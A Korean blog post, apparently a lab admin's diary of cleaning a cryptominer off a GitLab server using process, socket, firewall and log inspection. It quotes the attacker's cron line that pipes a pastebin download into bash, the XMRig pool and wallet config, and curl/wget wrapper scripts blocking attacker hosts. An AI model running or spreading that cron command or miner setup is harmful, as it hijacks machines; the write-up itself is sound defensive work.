상세 컨텐츠

본문 제목

gitlab 서버관리 일지 - 5

개발이야기/Gitlab

by mycatdid0 2022. 7. 27. 14:13

본문

반응형

(포스팅 2022.07.27)

- 관련 리스트
gitlab 서버 관리 일지 - 5
gitlab 서버 관리 일지 - 4
gitlab 서버 관리 일지 - 3
gitlab 서버 관리 일지 - 2
gitlab 서버 관리 일지 - 1

 


2022.07.27 묘하게 해킹됨

 

아침에 daily-build 바이너리가 필요해서 확인해보니 빌드가 실패했었습니다. gitlab 의 web 접속은 잘 되는데 git clone 을 하면 실패하는, 좀 특이한 경우입니다.

CMD : git clone ㅁㅁㅁ ㅇㅇㅇ
Cloning into 'ㅇㅇㅇ'...
remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (135/135), done.
remote: Compressing objects: 100% (112/112), done.
fetch-pack: unexpected disconnect while reading sideband packet
fatal: early EOF
fatal: fetch-pack: invalid index-pack output
fail cmd :  git clone ㅁㅁㅁ ㅇㅇㅇ

 

일반적으로 이런 에러는 commit의 파일 중에 용량이 큰 것이 있거나, 전송 버퍼 설정이 낮아서 발생합니다.

git 쪽 전송 세팅을 모두 다시 해 주었습니다.

sudo git config --global http.postBuffer 1024M
sudo git config --global http.maxRequestBuffer 1024M
sudo git config --global pack.deltaCacheSize 1024M
sudo git config --global pack.packSizeLimit 1024M
sudo git config --global pack.windowMemory 1024M
sudo git config --global core.packedGitLimit 1024m
sudo git config --global core.packedGitWindowSize 1024m
sudo git config --global core.compression 9
sudo git config --global ssh.postBuffer 2048M
sudo git config --global ssh.maxRequestBuffer 2048M

 

여기까지 진행해도 상황이 개선되지 않아, gitlab 서버에 접속하여 확인을 하였습니다.

cpu 400%를 사용중인 프로세스가 있습니다.

Tasks: 323 total,   1 running, 256 sleeping,   0 stopped,   0 zombie
%Cpu(s): 50.2 us,  0.1 sy,  0.0 ni, 49.7 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 32811932 total,  4383016 free,  7773644 used, 20655272 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used. 24537304 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 3095 root      20   0 2462940  16632      8 S 400.7  0.1  41285:56 kthreaddi	ㅡ> 이거
 5807 git       20   0 1272232 548572  22844 S   1.0  1.7 235:36.12 bundle
  384 git       20   0 2841088  77528  16588 S   0.7  0.2   0:48.16 ruby
 1159 gitlab-+  20   0   44496   7376   3188 S   0.7  0.0 114:37.58 redis-server
26411 ddddd     20   0   45668   4088   3248 R   0.3  0.0   0:00.04 top
    1 root      20   0  225660   9228   6548 S   0.0  0.0  15:12.56 systemd
    2 root      20   0       0      0      0 S   0.0  0.0   0:00.12 kthreadd
    4 root       0 -20       0      0      0 I   0.0  0.0   0:00.00 kworker/0:0H

 

확인은 간단했습니다. 인터넷에 검색해보니 채굴 프로그램이라고 하네요. 저번에 들어왔던 해커가 다시 들어온 것 같았습니다.

이젠 일상생활이 된 crontab 확인 → 외부 접속 주소가 바뀌었습니다.

ㅁㅁㅁㅁㅁ:~$ sudo -u git crontab -l
*/3 * * * * (curl -fsSL https://pastebin.com/raw/LYdmF72j||wget -q -O- https://pastebin.com/raw/LYdmF72j||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/LYdmF72j").read()')| bash -sh

 

제일 쉬운, hosts 주소 변경

ㅁㅁㅁㅁㅁ:~$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       ㅇㅇㅇㅇㅇ
127.0.0.1       ㅇㅇㅇㅇㅇ
127.0.0.1       pastebin.com	# 추가함

 

관련 스크립트 변경

ㅁㅁㅁㅁㅁ:~$ cat /usr/bin/curl
#!/bin/bash
if [[ "$2" =~ "89.44.9.246" ]]
then
   exit
fi
if [[ "$1" =~ "psybnc" ]] || [[ "$2" =~ "psybnc" ]] || [[ "$3" =~ "psybnc" ]] || [[ "$4" =~ "psybnc" ]]
then
   exit
fi
if [[ "$1" =~ "pastebin.com" ]] || [[ "$2" =~ "pastebin.com" ]] || [[ "$3" =~ "pastebin.com" ]] || [[ "$4" =~ "pastebin.com" ]]
then
   exit
fi
curl_220527 $@


ㅁㅁㅁㅁㅁ:~$ cat /usr/bin/wget
#!/bin/bash
if [[ "$2" =~ "89.44.9.246" ]]
then
   exit
fi
if [[ "$1" =~ "psybnc" ]] || [[ "$2" =~ "psybnc" ]] || [[ "$3" =~ "psybnc" ]] || [[ "$4" =~ "psybnc" ]]
then
   exit
fi
if [[ "$1" =~ "pastebin.com" ]] || [[ "$2" =~ "pastebin.com" ]] || [[ "$3" =~ "pastebin.com" ]] || [[ "$4" =~ "pastebin.com" ]]
then
   exit
fi
wget_220713 $@

 

작업후, crontabl 의 내용이 동작 안함을 확인

ㅁㅁㅁㅁㅁ:/tmp$ curl -fsSL https://pastebin.com/raw/LYdmF72j
ㅁㅁㅁㅁㅁ:/tmp$ wget -q -O- https://pastebin.com/raw/LYdmF72j
ㅁㅁㅁㅁㅁ:/tmp$ python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/LYdmF72j").read()')
-bash: syntax error near unexpected token `)'
ㅁㅁㅁㅁㅁ:/tmp$ python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/LYdmF72j").read()'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib/python2.7/urllib2.py", line 154, in urlopen
    return opener.open(url, data, timeout)
  File "/usr/lib/python2.7/urllib2.py", line 429, in open
    response = self._open(req, data)
  File "/usr/lib/python2.7/urllib2.py", line 447, in _open
    '_open', req)
  File "/usr/lib/python2.7/urllib2.py", line 407, in _call_chain
    result = func(*args)
  File "/usr/lib/python2.7/urllib2.py", line 1241, in https_open
    context=self._context)
  File "/usr/lib/python2.7/urllib2.py", line 1198, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [Errno 111] Connection refused>

 

gitlab 서버는 돌려야 하고, 에러는 막아야 하니 골치아픕니다. 외부에서 접속하지 못하게 연구실 내에서만 사용하면 좋겠습니다.

 


2022.07.28 해커 차단

 

문제의 kthreaddw 가 계속 생성되어, 소스파일을 찾기로 하였습니다.

ㅁㅁㅁㅁㅁ:/$ find -iname kthreaddw  2>/dev/null
./tmp/.gitlab/kthreaddw
./var/tmp/.gitlab/kthreaddw
./var/tmp/.git2/kthreaddw
ㅁㅁㅁㅁㅁ:/$ ls -al ./tmp/.gitlab/
합계 6212
dr-xr-xr-x  2 git  git     4096  7월 27 13:27 .
drwxrwxrwt 13 root root   20480  7월 27 17:15 ..
-rwxr-xr-x  1 git  git     4724  7월 27 16:17 config.json
-rwxr-xr-x  1 git  git  6326208  7월 27 16:17 kthreaddw

 

config.json 을 열어, 외부 접속 주소를 찾아냈고, hosts에 dummy로 등록하였습니다.

ㅁㅁㅁㅁㅁ:/$ cat  ./tmp/.gitlab/config.json
{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": true,
    "background": false,
    "colors": false,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "argon2": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31],
        "astrobwt": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31],
        "cn": [
            [1, 0],
            [1, 2],
            [1, 4],
            [1, 6],
            [1, 8],
            [1, 10],
            [1, 12],
            [1, 14],
            [1, 16],
            [1, 18],
            [1, 20],
            [1, 22],
            [1, 24],
            [1, 26],
            [1, 28],
            [1, 30]
        ],
        "cn-heavy": [
            [1, 0],
            [1, 2],
            [1, 4],
            [1, 16],
            [1, 18],
            [1, 20]
        ],
        "cn-lite": [
            [1, 0],
            [1, 1],
            [1, 2],
            [1, 3],
            [1, 4],
            [1, 5],
            [1, 6],
            [1, 7],
            [1, 8],
            [1, 9],
            [1, 10],
            [1, 11],
            [1, 12],
            [1, 13],
            [1, 14],
            [1, 15],
            [1, 16],
            [1, 17],
            [1, 18],
            [1, 19],
            [1, 20],
            [1, 21],
            [1, 22],
            [1, 23],
            [1, 24],
            [1, 25],
            [1, 26],
            [1, 27],
            [1, 28],
            [1, 29],
            [1, 30],
            [1, 31]
        ],
        "cn-pico": [
            [2, 0],
            [2, 1],
            [2, 2],
            [2, 3],
            [2, 4],
            [2, 5],
            [2, 6],
            [2, 7],
            [2, 8],
            [2, 9],
            [2, 10],
            [2, 11],
            [2, 12],
            [2, 13],
            [2, 14],
            [2, 15],
            [2, 16],
            [2, 17],
            [2, 18],
            [2, 19],
            [2, 20],
            [2, 21],
            [2, 22],
            [2, 23],
            [2, 24],
            [2, 25],
            [2, 26],
            [2, 27],
            [2, 28],
            [2, 29],
            [2, 30],
            [2, 31]
        ],
        "cn/upx2": [
            [2, 0],
            [2, 4],
            [2, 1],
            [2, 5],
            [2, 2],
            [2, 6],
            [2, 3],
            [2, 7]
        ],
        "rx": [0, 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 22, 24, 26, 28, 30],
        "rx/wow": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31],
        "cn-lite/0": false,
        "cn/0": false,
        "rx/arq": "rx/wow",
        "rx/keva": "rx/wow"
    },
    "log-file": null,
    "donate-level": 1,
    "donate-over-proxy": 1,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "pool.supportxmr.com:443",
            "user": "47BuiuYWu9UV8TN1nkUNbRPJERwzoWdgkdm2VWEA4VZuAqGHjbxw12xGYwYinev1rzUwXqJA8yJiyfY2zHdCzaYc9CLMR16",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        }
    ],
    "retries": 5,
    "retry-pause": 5,
    "print-time": 60,
    "dmi": true,
    "syslog": false,
    "tls": {
        "enabled": false,
        "protocols": null,
        "cert": null,
        "cert_key": null,
        "ciphers": null,
        "ciphersuites": null,
        "dhparam": null
    },
    "dns": {
        "ipv6": false,
        "ttl": 30
    },
    "user-agent": null,
    "verbose": 0,
    "watch": true,
    "pause-on-battery": false,
    "pause-on-active": false
ㅁㅁㅁㅁㅁ:/tmp$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       ㅁㅁㅁㅁㅁ
127.0.0.1       ㅇㅇㅇㅇㅇ
127.0.0.1       ㅁㅁㅁㅁㅁ
127.0.0.1       pool.supportxmr.com

 

이후 잠시 문제가 사라졌으나, 다시 발생하였습니다.

config.json에서 모든 ':'을 ';'로 바꾸어, 정상적으로 재실행되지 못하도록 하였습니다.

 

아래는 계속 재실행하지만 CPU를 점유하지 못하는 상황입니다.

top - 09:32:53 up 22:29,  1 user,  load average: 0.08, 1.26, 2.85
Tasks: 2418 total,   1 running, 2085 sleeping,   0 stopped, 269 zombie
%Cpu(s):  1.2 us,  2.5 sy,  0.0 ni, 96.1 id,  0.0 wa,  0.0 hi,  0.1 si,  0.0 st
KiB Mem : 32811932 total,  8054884 free,  6750152 used, 18006896 buff/cache
KiB Swap:  2097148 total,  2097148 free,        0 used. 25469504 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
28307 git       20   0     280    132      0 S  16.1  0.0   0:08.97 CgcIPsf77YRfTuV     ****> 이거
 1170 git       20   0 1153780 526040  22076 S   1.6  1.6  19:44.10 bundle
28416 root      20   0   48036   6716   3396 R   1.6  0.0   0:00.18 top
 1172 gitlab-+  20   0  116776  17144   9820 S   1.3  0.1   2:40.35 node_exporter
28311 git       20   0     280    132      0 S   1.3  0.0   0:00.44 CgcIPsf77YRfTuV     ****> 이거
 1174 git       20   0  559208  49368  10008 S   0.6  0.2   4:33.46 gitlab-exporter
 1219 gitlab-+  20   0 2585340 200960  46032 S   0.6  0.6   7:18.49 prometheus
 1223 gitlab-+  20   0   42448   7428   3128 S   0.6  0.0   8:18.71 redis-server
    1 root      20   0  225584   9456   6788 S   0.3  0.0   0:31.54 systemd
   52 root      20   0       0      0      0 S   0.3  0.0   0:26.45 ksoftirqd/7

 

이후에도 계속 문제가 발생하여, 해당 프로세스를 분석하기 시작하였습니다.

 

ㅁㅁㅁㅁㅁ:/proc/449$ sudo cat cmdline
kthreaddi

ㅁㅁㅁㅁㅁ:/proc/449$ sudo ls -l fd
합계 0
lr-x------ 1 root root 64  7월 28 09:54 0 -> 'pipe:[6366287]'
l-wx------ 1 root root 64  7월 28 09:54 1 -> 'pipe:[6358960]'
lrwx------ 1 root root 64  7월 28 09:54 10 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64  7월 28 09:54 11 -> 'anon_inode:[eventfd]'
lr-x------ 1 root root 64  7월 28 09:54 12 -> /dev/null
lrwx------ 1 root root 64  7월 28 09:54 13 -> 'socket:[6367136]'		****> 인터넷 소켓을 사용중
l-wx------ 1 root root 64  7월 28 09:54 2 -> 'pipe:[6362182]'
lrwx------ 1 root root 64  7월 28 09:54 3 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64  7월 28 09:54 4 -> 'pipe:[6361683]'
l-wx------ 1 root root 64  7월 28 09:54 5 -> 'pipe:[6361683]'
lr-x------ 1 root root 64  7월 28 09:54 6 -> 'pipe:[6366460]'
l-wx------ 1 root root 64  7월 28 09:54 7 -> 'pipe:[6366460]'
lrwx------ 1 root root 64  7월 28 09:54 8 -> 'anon_inode:[eventfd]'
l-wx------ 1 root root 64  7월 28 09:54 9 -> /tmp/.app.log	****> 로그파일이 열려 있음

ㅁㅁㅁㅁㅁ:/proc/449$ cat /tmp/.app.log | head -100
 * ABOUT        XMRig/6.15.2-C3Pool gcc/9.3.0
 * LIBS         libuv/1.42.0 OpenSSL/1.1.1l hwloc/2.5.0
 * HUGE PAGES   supported
 * 1GB PAGES    supported
 * CPU          Intel(R) Core(TM) i7-6700K CPU @ 4.00GHz (1) 64-bit AES
                L2:1.0 MB L3:8.0 MB 4C/8T NUMA:1
 * MEMORY       21.0/31.3 GB (67%)
                DIMM_A1: 8 GB DDR4 @ 2133 MHz M378A1G43EB1-CPB
                DIMM_A2: 8 GB DDR4 @ 2133 MHz M378A1G43EB1-CPB
                DIMM_B1: 16 GB DDR4 @ 2133 MHz M378A2K43BB1-CPB
                ChannelB-DIMM2: <empty>
 * MOTHERBOARD  ASUSTeK COMPUTER INC. - Z170-A
 * DONATE       1%
 * ASSEMBLY     auto:intel
 * POOL #1      auto.c3pool.org:33333 algo auto
 * POOL #2      auto.c3pool.org:80 algo auto
 * POOL #3      pool.hashvault.pro:7777 algo auto
 * POOL #4      5.2.72.244:4433 algo auto
 * COMMANDS     hashrate, pause, resume, results, connection
[2022-07-27 21:36:22.860]  benchmk   STARTING ALGO PERFORMANCE CALIBRATION (with 20 seconds round)
[2022-07-27 21:36:22.860]  benchmk   Algo cn/r Preparation
[2022-07-27 21:36:22.860]  cpu      use profile  cn  (4 threads) scratchpad 2048 KB
[2022-07-27 21:36:23.317]  cpu      READY threads 4/4 (4) huge pages 100% 4/4 memory 8192 KB (457 ms)
[2022-07-27 21:36:23.338]  benchmk   Algo cn/r Starting test
[2022-07-27 21:36:43.340]  benchmk   Algo cn/r hashrate: 307.789474
[2022-07-27 21:36:43.340]  benchmk   Algo cn-lite/1 Preparation
[2022-07-27 21:36:43.353]  cpu      stopped (12 ms)
[2022-07-27 21:36:43.353]  cpu      use profile  cn-lite  (8 threads) scratchpad 1024 KB
[2022-07-27 21:36:43.369]  cpu      READY threads 8/8 (8) huge pages 100% 8/8 memory 8192 KB (16 ms)
[2022-07-27 21:36:43.374]  benchmk   Algo cn-lite/1 Starting test
[2022-07-27 21:37:03.376]  benchmk   Algo cn-lite/1 hashrate: 1216.608778
[2022-07-27 21:37:03.376]  benchmk   Algo cn-heavy/xhv Preparation
[2022-07-27 21:37:03.409]  msr      register values for "intel" preset have been set successfully (33 ms)
[2022-07-27 21:37:03.416]  cpu      stopped (7 ms)

 

열려있는 소켓을 모두 확인합니다.

ㅁㅁㅁㅁㅁ:/proc/449$ sudo ss -pt
State          Recv-Q            Send-Q                        Local Address:Port                          Peer Address:Port
ESTAB          0                 0                                 127.0.0.1:56212                            127.0.0.1:9090             users:(("prometheus",pid=1219,fd=67))
ESTAB          0                 0                                 127.0.0.1:44452                            127.0.0.1:9236             users:(("prometheus",pid=1219,fd=66))
ESTAB          0                 0                                 127.0.0.1:46022                            127.0.0.1:8060             users:(("prometheus",pid=1219,fd=3))
ESTAB          0                 0                                 127.0.0.1:9168                             127.0.0.1:49162            users:(("gitlab-exporter",pid=1174,fd=95))
ESTAB          0                 0                                 127.0.0.1:8082                             127.0.0.1:40940            users:(("bundle",pid=1170,fd=50))
ESTAB          0                 0                                 127.0.0.1:40940                            127.0.0.1:8082             users:(("prometheus",pid=1219,fd=70))
ESTAB          0                 0                                 127.0.0.1:46664                            127.0.0.1:9121             users:(("prometheus",pid=1219,fd=59))
ESTAB          0                 0                                 127.0.0.1:9168                             127.0.0.1:46500            users:(("gitlab-exporter",pid=1174,fd=24))
ESTAB          0                 0                                 127.0.0.1:9100                             127.0.0.1:40362            users:(("node_exporter",pid=1172,fd=5))
ESTAB          0                 0                               192.168.0.2:ssh                          192.168.0.132:1706             users:(("sshd",pid=807,fd=3),("sshd",pid=763,fd=3))
ESTAB          0                 0                                 127.0.0.1:9168                             127.0.0.1:49160            users:(("gitlab-exporter",pid=1174,fd=60))
ESTAB          0                 0                                 127.0.0.1:9121                             127.0.0.1:46664            users:(("redis_exporter",pid=1204,fd=5))
ESTAB          0                 0                                 127.0.0.1:9090                             127.0.0.1:56186            users:(("prometheus",pid=1219,fd=9))
ESTAB          0                 0                                 127.0.0.1:8060                             127.0.0.1:46022            users:(("nginx",pid=1209,fd=19))
ESTAB          0                 0                                 127.0.0.1:46500                            127.0.0.1:9168             users:(("prometheus",pid=1219,fd=5))
ESTAB          0                 0                                 127.0.0.1:9229                             127.0.0.1:37212            users:(("gitlab-workhors",pid=314,fd=7))
ESTAB          0                 0                                 127.0.0.1:9187                             127.0.0.1:57508            users:(("postgres_export",pid=1220,fd=5))
ESTAB          0                 0                                 127.0.0.1:37212                            127.0.0.1:9229             users:(("prometheus",pid=1219,fd=50))
ESTAB          0                 0                                 127.0.0.1:49162                            127.0.0.1:9168             users:(("prometheus",pid=1219,fd=49))
ESTAB          0                 0                               192.168.0.2:45838                       47.243.137.206:33333            users:(("kthreaddi",pid=449,fd=13))            ****> 이상 접속
ESTAB          0                 0                                 127.0.0.1:56186                            127.0.0.1:9090             users:(("prometheus",pid=1219,fd=8))
ESTAB          0                 0                                 127.0.0.1:49160                            127.0.0.1:9168             users:(("prometheus",pid=1219,fd=10))
ESTAB          0                 0                                 127.0.0.1:57508                            127.0.0.1:9187             users:(("prometheus",pid=1219,fd=61))
ESTAB          0                 0                                 127.0.0.1:9236                             127.0.0.1:44452            users:(("gitaly",pid=345,fd=3))
ESTAB          0                 0                                 127.0.0.1:9090                             127.0.0.1:56212            users:(("prometheus",pid=1219,fd=68))
ESTAB          0                 64                              192.168.0.2:ssh                          192.168.0.132:11307            users:(("sshd",pid=5864,fd=3),("sshd",pid=5834,fd=3))
ESTAB          0                 0                                 127.0.0.1:40362                            127.0.0.1:9100             users:(("prometheus",pid=1219,fd=64))

 

외부의 여러 곳에서 지속적으로 접속한다 판단되어, 방화벽을 사용하기로 하였습니다.
연구실 내부 외에는 모두 잠그기로 하였습니다.

 

ㅁㅁㅁㅁㅁ:~$ sudo ufw default deny incoming
기본 incoming 정책이 'deny'로 바뀌었습니다
(당신의 규칙에 따라 업데이트를 하시는 걸 명심하십시오)

ㅁㅁㅁㅁㅁ:~$ sudo ufw allow from 192.168.0.0/16		****> 연구실 내부 허가
규칙이 추가되었습니다

ㅁㅁㅁㅁㅁ:~$ sudo ufw enable
명령은 존재하는 ssh 연결에 피해를 줄 수 있습니다. 이 작업과 함께 진행하시겠습니까(y|n)? y
방화벽이 활성 상태이며 시스템이 시작할 때 사용됩니다

ㅁㅁㅁㅁㅁ:~$ sudo ufw status verbose
상태: 활성
로깅: on (low)
기본 설정: deny (내부로 들어옴), allow (외부로 나감), disabled (라우팅 된)
새 프로필: skip

목적                         동작          출발
--                         --          --
Anywhere                   DENY IN     89.44.9.246
Anywhere                   DENY IN     88.198.63.164
Anywhere                   DENY IN     149.57.209.0/24
Anywhere                   DENY IN     168.138.133.0/24
Anywhere                   DENY IN     47.0.0.0/8
Anywhere                   ALLOW IN    192.168.0.0/16

 

해커가 실행시킨 프로세스가 계속 돌고 있을지 모르니 재부팅하고, 외부 접속을 확인합니다.

외부에서의 많은 접속시도가 있음을 알 수 있었습니다.

 

ㅁㅁㅁㅁㅁ:~$ journalctl -xe
 7월 28 10:25:01 ㅁㅁㅁ-git CRON[4374]: pam_unix(cron:session): session closed for user ㅁㅁㅁ
 7월 28 10:25:19 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=5.2.72.244 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=52 ID=23342 DF PROTO=TCP SPT=37728 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:26:41 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=191.239.179.160 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=41 ID=31196 DF PROTO=TCP SPT=43406 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
 7월 28 10:26:42 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=191.239.179.160 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=41 ID=31197 DF PROTO=TCP SPT=43406 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
 7월 28 10:26:44 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=191.239.179.160 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=41 ID=31198 DF PROTO=TCP SPT=43406 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
 7월 28 10:27:16 ㅁㅁㅁ-git sudo[4627]:    ㅁㅁㅁ : TTY=pts/0 ; PWD=/home/ㅁㅁㅁ ; USER=root ; COMMAND=/usr/bin/top
 7월 28 10:27:16 ㅁㅁㅁ-git sudo[4627]: pam_unix(sudo:session): session opened for user root by ㅁㅁㅁ(uid=0)
 7월 28 10:29:03 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=5.2.72.244 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=52 ID=6655 DF PROTO=TCP SPT=39126 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:29:04 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=5.2.72.244 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=52 ID=6656 DF PROTO=TCP SPT=39126 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:29:06 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=5.2.72.244 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=52 ID=6657 DF PROTO=TCP SPT=39126 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:29:10 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=5.2.72.244 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=52 ID=6658 DF PROTO=TCP SPT=39126 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:29:18 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=5.2.72.244 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=52 ID=6659 DF PROTO=TCP SPT=39126 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:29:34 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=5.2.72.244 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=52 ID=6660 DF PROTO=TCP SPT=39126 DPT=9999 WINDOW=64240 RES=0x00 SYN URGP=0
 7월 28 10:29:47 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=195.178.120.188 DST=192.168.0.2 LEN=40 TOS=0x00 PREC=0x00 TTL=239 ID=54321 PROTO=TCP SPT=44232 DPT=22 WINDOW=65535 RES=0x00 SYN URGP=0
 7월 28 10:29:55 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=101.51.234.20 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=24916 DF PROTO=TCP SPT=54554 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
 7월 28 10:29:56 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=101.51.234.20 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=24917 DF PROTO=TCP SPT=54554 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
 7월 28 10:29:58 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=101.51.234.20 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=24918 DF PROTO=TCP SPT=54554 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
 7월 28 10:30:01 ㅁㅁㅁ-git CRON[4939]: pam_unix(cron:session): session opened for user ㅁㅁㅁ by (uid=0)
 7월 28 10:30:01 ㅁㅁㅁ-git CRON[4940]: (ㅁㅁㅁ) CMD (/home/ㅁㅁㅁ/duckdns/duck.sh)
 7월 28 10:30:01 ㅁㅁㅁ-git cron[800]: sendmail: fatal: open /etc/postfix/main.cf: No such file or directory
 7월 28 10:30:01 ㅁㅁㅁ-git postfix/sendmail[4946]: fatal: open /etc/postfix/main.cf: No such file or directory
 7월 28 10:30:01 ㅁㅁㅁ-git CRON[4939]: (ㅁㅁㅁ) MAIL (mailed 287 bytes of output but got status 0x004b from MTA
                                        )
 7월 28 10:30:01 ㅁㅁㅁ-git CRON[4939]: pam_unix(cron:session): session closed for user ㅁㅁㅁ
 7월 28 10:30:02 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=101.51.234.20 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=45 ID=24919 DF PROTO=TCP SPT=54554 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
 7월 28 10:31:43 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=103.86.49.28 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=17689 DF PROTO=TCP SPT=46790 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
 7월 28 10:31:44 ㅁㅁㅁ-git kernel: [UFW BLOCK] IN=enp0s31f6 OUT= MAC=ㅁ:ㅁ:ㅁ:ㅁ:ㅁ:ㅁ SRC=103.86.49.28 DST=192.168.0.2 LEN=60 TOS=0x00 PREC=0x00 TTL=51 ID=17690 DF PROTO=TCP SPT=46790 DPT=22 WINDOW=29200 RES=0x00 SYN URGP=0
